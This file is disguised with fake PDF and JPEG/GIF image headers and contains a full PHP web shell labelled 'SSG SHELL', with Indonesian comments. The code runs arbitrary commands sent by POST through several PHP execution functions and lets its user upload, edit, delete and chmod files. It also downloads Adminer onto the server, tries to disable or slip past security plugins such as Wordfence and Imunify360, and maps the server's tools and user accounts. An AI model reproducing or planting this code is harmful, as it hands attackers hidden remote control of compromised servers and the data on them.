1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
|
%PDF-1.5 % ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY<!~þÇŠ£®¥os²¦Þ÷M3ݘ<‚_´ÌóFw¼YLYM'O.ºë1ÞŽ ÿØÿà JFIF ÿá lExif II* 1 2 i‡ : Google 0220 ` ÿÛ „ &" '' '''%%'&'"'&% '&&%'''%%"%&%&&!!'/-&-(%-.0%5-'2%' %PDF-<?php echo "<!-- GIF89;a -->\n"; @ini_set('error_log', NULL); @ini_set('log_errors', 0); @ini_set('max_execution_time', 0); @error_reporting(0); @set_time_limit(0); @ob_clean(); @header("X-Accel-Buffering: no"); @header("Content-Encoding: none"); @http_response_code(403); @http_response_code(404); @http_response_code(500); //Kalau file terbaca sebagai gambar hapus atas ^ //Shin Code - Created 15 July 2023 //jan di ganti ganti ntar error aoakwkwk //Recode aja banh penting ga cuma ganti copyright :') function getFileDetails($path) { $folders = []; $files = [];
try { $items = @scandir($path); if (!is_array($items)) { throw new Exception('Failed to scan directory'); }
foreach ($items as $item) { if ($item == '.' || $item == '..') { continue; }
$itemPath = $path . '/' . $item; $itemDetails = [ 'name' => $item, 'type' => is_dir($itemPath) ? 'Folder' : 'File', 'size' => is_dir($itemPath) ? '' : formatSize(filesize($itemPath)), 'permission' => substr(sprintf('%o', fileperms($itemPath)), -4), ]; if (is_dir($itemPath)) { $folders[] = $itemDetails; } else { $files[] = $itemDetails; } }return array_merge($folders, $files); } catch (Exception $e) { return 'None'; } }
function formatSize($size) { $units = array('B', 'KB', 'MB', 'GB', 'TB'); $i = 0; while ($size >= 1024 && $i < 4) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } //cmd fitur function executeCommand($command) { $currentDirectory = getCurrentDirectory(); $command = "cd $currentDirectory && $command";
$output = ''; $error = '';
// proc_open $descriptors = [ 0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w'], ];
$process = @proc_open($command, $descriptors, $pipes);
if (is_resource($process)) { fclose($pipes[0]);
$output = stream_get_contents($pipes[1]); fclose($pipes[1]);
$error = stream_get_contents($pipes[2]); fclose($pipes[2]);
$returnValue = proc_close($process);
$output = trim($output); $error = trim($error);
if ($returnValue === 0 && !empty($output)) { return $output; } elseif (!empty($error)) { return 'Error: ' . $error; } }
// shell_exec $shellOutput = @shell_exec($command); if ($shellOutput !== null) { $output = trim($shellOutput); if (!empty($output)) {return $output; } } else { $error = error_get_last(); if (!empty($error)) { return 'Error: ' . $error['message']; } }
// exec @exec($command, $execOutput, $execStatus); if ($execStatus === 0) { $output = implode(PHP_EOL, $execOutput); if (!empty($output)) { return $output; } } else { return 'Error: Command execution failed.'; }
// passthru ob_start(); @passthru($command, $passthruStatus); $passthruOutput = ob_get_clean(); if ($passthruStatus === 0) { $output = $passthruOutput; if (!empty($output)) { return $output; } } else { return 'Error: Command execution failed.'; }
// system ob_start(); @system($command, $systemStatus); $systemOutput = ob_get_clean(); if ($systemStatus === 0) { $output = $systemOutput; if (!empty($output)) { return $output; } } else { return 'Error: Command execution failed.'; }
return 'Error: Command execution failed.'; } function readFileContent($file) { return file_get_contents($file); }
function saveFileContent($file) { if (isset($_POST['content'])) { return file_put_contents($file, $_POST['content']) !== false; } return false; } //upfile function uploadFile($targetDirectory) { if (isset($_FILES['file'])) { // Ensure the directory exists and is writable if (!is_dir($targetDirectory)) { return 'Target directory does not exist.'; } if (!is_writable($targetDirectory)) { return 'Target directory is not writable.'; }
$targetFile = $targetDirectory . '/' . basename($_FILES['file']['name']); if ($_FILES['file']['size'] === 0) { return 'The uploaded file is empty.'; }
if (move_uploaded_file($_FILES['file']['tmp_name'], $targetFile)) { return 'File uploaded successfully.'; } else { return 'Error uploading file. Possible reasons: file size exceeds server limit, incorrect permissions, or server misconfiguration.'; } } else { return 'No file uploaded.'; } }
//dir function changeDirectory($path) { if ($path === '..') { @chdir('..'); } else { @chdir($path); } }
function getCurrentDirectory() { return realpath(getcwd()); }
//open file juga folder function getLink($path, $name) { if (is_dir($path)) { return '<a href="?dir=' . urlencode($path) . '">' . $name . '</a>'; } elseif (is_file($path)) { return '<a href="?dir=' . urlencode(dirname($path)) . '&read=' . urlencode($path) . '">' . $name . '</a>';
} } function getDirectoryArray($path) { $directories = explode('/', $path); $directoryArray = []; $currentPath = ''; foreach ($directories as $directory) { if (!empty($directory)) { $currentPath .= '/' . $directory; $directoryArray[] = [ 'path' => $currentPath, 'name' => $directory, ]; } } return $directoryArray; }
function showBreadcrumb($path) { $path = str_replace('\\', '/', $path); $paths = explode('/', $path); ?> <div class="breadcrumb"> <?php foreach ($paths as $id => $pat) { ?> <?php if ($pat == '' && $id == 0) { ?> DIR : <a href="?dir=/">/</a> <?php } ?> <?php if ($pat == '') { continue; } ?> <?php $linkPath = implode('/', array_slice($paths, 0, $id + 1)); ?> <a href="?dir=<?php echo urlencode($linkPath); ?>"><?php echo $pat; ?></a>/ <?php } ?> </div> <?php }
//tabel biar keren function showFileTable($path) { $fileDetails = getFileDetails($path); ?> <table> <tr> <th>Name</th> <th>Type</th> <th>Size</th> <th>Permission</th> <th>Actions</th> </tr> <?php if (is_array($fileDetails)) { ?> <?php foreach ($fileDetails as $fileDetail) { ?> <tr> <td><?php echo getLink($path . '/' . $fileDetail['name'], $fileDetail['name']); ?></td> <td><?php echo $fileDetail['type']; ?></td> <td><?php echo $fileDetail['size'];?></td> <td> <?php $permissionColor = is_writable($path . '/' . $fileDetail['name']) ? 'green' : 'red'; ?> <span style="color: <?php echo $permissionColor; ?>"><?php echo $fileDetail['permission']; ?></span> </td> <td> <?php if ($fileDetail['type'] === 'File') { ?> <div class="dropdown"> <button class="dropbtn">Actions</button> <div class="dropdown-content"> <a href="?dir=<?php echo urlencode($path); ?>&edit=<?php echo urlencode($path . '/' . $fileDetail['name']); ?>">Edit</a> <a href="?dir=<?php echo urlencode($path); ?>&rename=<?php echo urlencode($fileDetail['name']); ?>">Rename</a> <a href="?dir=<?php echo urlencode($path); ?>&chmod=<?php echo urlencode($fileDetail['name']); ?>">Chmod</a> <a href="?dir=<?php echo urlencode($path); ?>&delete=<?php echo urlencode($fileDetail['name']); ?>">Delete</a> </div> </div> <?php }?> <?php if ($fileDetail['type'] === 'Folder') { ?> <div class="dropdown"> <button class="dropbtn">Actions</button> <div class="dropdown-content"> <a href="?dir=<?php echo urlencode($path); ?>&rename=<?php echo urlencode($fileDetail['name']); ?>">Rename</a> <a href="?dir=<?php echo urlencode($path); ?>&chmod=<?php echo urlencode($fileDetail['name']); ?>">Chmod</a> <a href="?dir=<?php echo urlencode($path); ?>&delete=<?php echo urlencode($fileDetail['name']); ?>">Delete</a> </div> </div> <?php } ?> </td> </tr> <?php } ?> <?php } else { ?> <tr> <td colspan="5">None</td> </tr> <?php } ?> </table> <?php } //chmod function changePermission($path) { if (!file_exists($path)) { return 'File or directory does not exist.'; }
$permission = isset($_POST['permission']) ? $_POST['permission'] : ''; if ($permission === '') { return 'Invalid permission value.'; }
if (!is_dir($path) && !is_file($path)) {return 'Cannot change permission. Only directories and files can have permissions modified.'; }
$parsedPermission = intval($permission, 8); if ($parsedPermission === 0) { return 'Invalid permission value.'; }
if (chmodRecursive($path, $parsedPermission)) { return 'Permission changed successfully.'; } else { return 'Error changing permission.'; } }
function chmodRecursive($path, $permission) { if (is_dir($path)) { $items = scandir($path); if ($items === false) { return false; }
foreach ($items as $item) { if ($item == '.' || $item == '..') { continue; }
$itemPath = $path . '/' . $item;
if (is_dir($itemPath)) { if (!chmod($itemPath, $permission)) { return false; }
if (!chmodRecursive($itemPath, $permission)) { return false; } } else { if (!chmod($itemPath, $permission)) { return false; } } } } else { if (!chmod($path, $permission)) { return false; } }
return true; }
//rename function renameFile($oldName, $newName) { if (file_exists($oldName)) {$directory = dirname($oldName); $newPath = $directory . '/' . $newName; if (rename($oldName, $newPath)) { return 'File or folder renamed successfully.'; } else { return 'Error renaming file or folder.'; } } else { return 'File or folder does not exist.'; } }
//delete function deleteFile($file) { if (file_exists($file)) { if (unlink($file)) { return 'File deleted successfully.' . $file; } else { return 'Error deleting file.'; } } else { return 'File does not exist.'; } }
function deleteFolder($folder) { if (is_dir($folder)) { $files = glob($folder . '/*'); foreach ($files as $file) { is_dir($file) ? deleteFolder($file) : unlink($file); } if (rmdir($folder)) { return 'Folder deleted successfully.' . $folder; } else { return 'Error deleting folder.'; } } else { return 'Folder does not exist.'; } } //main logic directory $currentDirectory = getCurrentDirectory(); $errorMessage = ''; $responseMessage = '';
if (isset($_GET['dir'])) { changeDirectory($_GET['dir']); $currentDirectory = getCurrentDirectory(); } //edit if (isset($_GET['edit'])) { $file = $_GET['edit']; $content = readFileContent($file); if ($_SERVER['REQUEST_METHOD'] === 'POST') { $saved = saveFileContent($file); if ($saved) { $responseMessage = 'File saved successfully.' . $file; } else { $errorMessage = 'Error saving file.'; } } }
if (isset($_GET['chmod'])) { $file = $_GET['chmod']; if ($_SERVER['REQUEST_METHOD'] === 'POST') { $responseMessage = changePermission($file); } }
if (isset($_POST['upload'])) { $responseMessage = uploadFile($currentDirectory); }
if (isset($_POST['cmd'])) { $cmdOutput = executeCommand($_POST['cmd']); }
if (isset($_GET['rename'])) { $file = $_GET['rename']; if ($_SERVER['REQUEST_METHOD'] === 'POST') { $newName = $_POST['new_name']; if (is_file($file) || is_dir($file)) { $responseMessage = renameFile($file, $newName); } else { $errorMessage = 'File or folder does not exist.'; } } }
if (isset($_GET['delete'])) { $file = $_GET['delete']; if ($_SERVER['REQUEST_METHOD'] === 'GET') { $currentDirectory = getCurrentDirectory(); if (is_file($file)) { $responseMessage = deleteFile($file); echo "<script>alert('File dihapus');window.location='?dir=" . urlencode($currentDirectory) . "';</script>"; exit; } elseif (is_dir($file)){ $responseMessage = deleteFolder($file); echo "<script>alert('Folder dihapus');window.location='?dir=" . urlencode($currentDirectory) . "';</script>"; exit; } else { $errorMessage = 'File or folder does not exist.'; } } } //panggil adminer if (isset($_POST['Summon'])) { $baseUrl = 'https://github.com/vrana/adminer/releases/download/v4.8.1/adminer-4.8.1.php'; $currentPath = getCurrentDirectory();
$fileUrl = $baseUrl; $fileName = 'Adminer.php';
$filePath = $currentPath . '/' . $fileName;
$fileContent = @file_get_contents($fileUrl); if ($fileContent !== false) { if (file_put_contents($filePath, $fileContent) !== false) { $responseMessage = 'File "' . $fileName . '" summoned successfully. <a href="' . $filePath . '">' . $filePath . '</a>'; } else { $errorMessage = 'Failed to save the summoned file.'; } } else { $errorMessage = 'Failed to fetch the file content. None File'; } } // katanya bypass if (function_exists('litespeed_request_headers')) { $headers = litespeed_request_headers(); if (isset($headers['X-LSCACHE'])) { header('X-LSCACHE: off'); } }
if (defined('WORDFENCE_VERSION')) { define('WORDFENCE_DISABLE_LIVE_TRAFFIC', true); define('WORDFENCE_DISABLE_FILE_MODS', true); }
if (function_exists('imunify360_request_headers') && defined('IMUNIFY360_VERSION')) { $imunifyHeaders = imunify360_request_headers(); if (isset($imunifyHeaders['X-Imunify360-Request'])) { header('X-Imunify360-Request: bypass'); } if (isset($imunifyHeaders['X-Imunify360-Captcha-Bypass'])) { header('X-Imunify360-Captcha-Bypass: ' . $imunifyHeaders['X-Imunify360-Captcha-Bypass']); } }
if (function_exists('apache_request_headers')) { $apacheHeaders = apache_request_headers(); if (isset($apacheHeaders['X-Mod-Security'])) { header('X-Mod-Security: ' . $apacheHeaders['X-Mod-Security']); } }
if (isset($_SERVER['HTTP_CF_CONNECTING_IP']) && defined('CLOUDFLARE_VERSION')) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_CF_CONNECTING_IP']; if (isset($apacheHeaders['HTTP_CF_VISITOR'])) { header('HTTP_CF_VISITOR: ' . $apacheHeaders['HTTP_CF_VISITOR']); } } ?> <!DOCTYPE html> <html> <head> <title>404</title> <link rel="stylesheet" href="https://rawcdn.githack.com/Jenderal92/Blog-Gan/63073e604b81df6337c1917990a7330d46b22ae9/ganteng.css"> </head> <body> <div class="container"> <h1>[ SSG SHELL ]</h1> <div class="menu-icon" onclick="toggleSidebar()"></div> <hr> <div class="button-container"> <form method="post" style="display: inline-block;"> <input type="submit" name="Summon" value="Adminer" class="summon-button"> </form> <button type="button" onclick="window.location.href='?gas'" class="summon-button">Mail Test</button> </div>
<?php //mailer if (isset($_GET['gas'])) { if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (!empty($_POST['email'])) { $xx = rand(); if (mail($_POST['email'], "Shin Mailer Test - " . $xx, "Shin Ganteng")) { echo "<b>Send a report to [" . $_POST['email'] . "] - $xx</b>"; } else { echo "Failed to send the email."; } } else { echo "Please provide an email address."; } } else { ?> <h2>Mail Test :</h2> <form method="post"> <input type="text" name="email" placeholder="Enter email" required> <input type="submit" value="Send test »"> </form> <?php } } ?>
<?php if (!empty($errorMessage)) { ?> <p style="color: red;"><?php echo $errorMessage; ?></p> <?php } ?>
<hr>
<div class="upload-cmd-container"> <div class="upload-form"> <h2>Upload:</h2> <form method="post" enctype="multipart/form-data"> <input type="file" name="file"> <button class="button" type="submit" name="upload">Upload</button> </form> </div>
<div class="cmd-form"> <h2>Command:</h2> <form method="post"> <?php echo @get_current_user() . "@" . @$_SERVER['REMOTE_ADDR'] . ": ~ $"; ?><input type='text' size='30' height='10' name='cmd'> <input type="submit" class="empty-button">
</form> </div> </div> <?php if (isset($_GET['read'])) { $file = $_GET['read']; $content = readFileContent($file); if ($content !== false) { echo '<div class="command-output">'; echo '<pre>' . htmlspecialchars($content) . '</pre>'; echo '</div>'; } else { echo 'Failed to read the file.'; } } ?> <?php if (!empty($cmdOutput)) { ?> <h3>Command Output:</h3> <div class="command-output"> <pre><?php echo htmlspecialchars($cmdOutput); ?></pre> </div> <?php } ?>
<?php if (!empty($responseMessage)) { ?> <p class="response-message" style="color: green;"><?php echo $responseMessage; ?></p> <?php } ?> <?php if (isset($_GET['rename'])) { ?> <div class="rename-form"> <h2>Rename File or Folder: <?php echo basename($file); ?></h2><form method="post"> <input type="text" name="new_name" placeholder="New Name" required> <br> <input type="submit" value="Rename" class="button"> <a href="?dir=<?php echo urlencode(dirname($file)); ?>" class="button">Cancel</a> </form> </div> <?php } ?> <?php if (isset($_GET['edit'])) { ?> <div class="edit-file"> <h2>Edit File: <?php echo basename($file); ?></h2> <form method="post"> <textarea name="content" rows="10" cols="50"><?php echo htmlspecialchars($content); ?></textarea><br> <button class="button" type="submit">Save</button> </form> </div> <?php } elseif (isset($_GET['chmod'])) { ?> <div class="change-permission"> <h2>Change Permission: <?php echo basename($file); ?></h2> <form method="post"> <input type="hidden" name="chmod" value="<?php echo urlencode($file); ?>"> <input type="text" name="permission" placeholder="Enter permission (e.g., 0770)"> <button class="button" type="submit">Change</button> </form> </div> <?php } ?> <hr>
<?php echo '<h2>Filemanager</h2>'; showBreadcrumb($currentDirectory); showFileTable($currentDirectory); ?> </div> <div class="sidebar" id="sidebar"> <div class="sidebar-content"> <div class="sidebar-close"> <button onclick="toggleSidebar()">Close</button> </div> <div class="info-container"> <h2>Server Info</h2> <?php function countDomainsInServer() { $serverName = $_SERVER['SERVER_NAME']; $ipAddresses = @gethostbynamel($serverName);
if ($ipAddresses !== false) { return count($ipAddresses); } else { return 0; } }
$domainCount = @countDomainsInServer();
function formatBytes($bytes, $precision = 2) { $units = array('B', 'KB', 'MB', 'GB', 'TB');
$bytes = max($bytes, 0); $pow = floor(($bytes ? log($bytes) : 0) / log(1024)); $pow = min($pow, count($units) - 1);
$bytes /= (1 << (10 * $pow));
return round($bytes, $precision) . ' ' . $units[$pow]; } ?>
<ul class="info-list"> <li>Hostname: <?php echo @gethostname(); ?></li> <?php if (isset($_SERVER['SERVER_ADDR'])) : ?> <li>IP Address: <?php echo $_SERVER['SERVER_ADDR']; ?></li> <?php endif; ?> <li>PHP Version: <?php echo @phpversion(); ?></li> <li>Server Software: <?php echo $_SERVER['SERVER_SOFTWARE']; ?></li> <?php if (function_exists('disk_total_space')) : ?> <li>HDD Total Space: <?php echo @formatBytes(disk_total_space('/')); ?></li> <li>HDD Free Space: <?php echo @formatBytes(disk_free_space('/')); ?></li> <?php endif; ?> <li>Total Domains in Server: <?php echo $domainCount; ?></li> <li>System: <?php echo @php_uname(); ?></li> </ul> </div>
<div class="info-container"> <h2>System Info</h2> <ul class="info-list"> <?php $features = [ 'Safe Mode' => ini_get('safe_mode') ? 'Enabled' : 'Disabled', 'Disable Functions' => ini_get('disable_functions'), 'GCC' => function_exists('shell_exec') && shell_exec('gcc --version') ? 'On' : 'Off', 'Perl' => function_exists('shell_exec') && shell_exec('perl --version') ? 'On' : 'Off', 'Python Version' => ($pythonVersion = shell_exec('python --version')) ? 'On (' . $pythonVersion . ')' : 'Off', 'PKEXEC Version' => ($pkexecVersion = shell_exec('pkexec --version')) ? 'On (' . $pkexecVersion . ')' : 'Off', 'Curl' => function_exists('shell_exec') && shell_exec('curl --version') ? 'On' : 'Off', 'Wget' => function_exists('shell_exec') && shell_exec('wget --version') ? 'On' : 'Off', 'Mysql' => function_exists('shell_exec') && shell_exec('mysql --version') ? 'On' : 'Off', 'Ftp' => function_exists('shell_exec') && shell_exec('ftp --version') ? 'On' : 'Off', 'Ssh' => function_exists('shell_exec') && shell_exec('ssh --version') ? 'On' : 'Off', 'Mail' => function_exists('shell_exec') && shell_exec('mail --version') ? 'On' : 'Off', 'cron' => function_exists('shell_exec') && shell_exec('cron --version') ? 'On' : 'Off', 'SendMail' => function_exists('shell_exec') && shell_exec('sendmail --version') ? 'On' : 'Off', ]; ?>
<label for="feature-select">Select Feature:</label> <select id="feature-select"> <?php foreach ($features as $feature => $status) : ?> <option value="<?php echo $feature; ?>"><?php echo $feature . ': ' . $status; ?></option> <?php endforeach; ?> </select> </ul> </div>
<div class="info-container"> <h2>User Info</h2> <ul class="info-list"> <li>Username: <?php echo @get_current_user(); ?></li> <li>User ID: <?php echo @getmyuid(); ?></li> <li>Group ID: <?php echo @getmygid(); ?></li> </ul> </div> </div> </div> <script> function toggleOptionsMenu() { var optionsMenu = document.getElementById('optionsMenu'); optionsMenu.classList.toggle('show'); } function toggleSidebar() { var sidebar = document.getElementById('sidebar'); sidebar.classList.toggle('open'); } </script> </div> <div class="footer"> <p>© <?php echo date("Y"); ?>Coded By</a> Shin Code.</p> </div> </body> </html>
|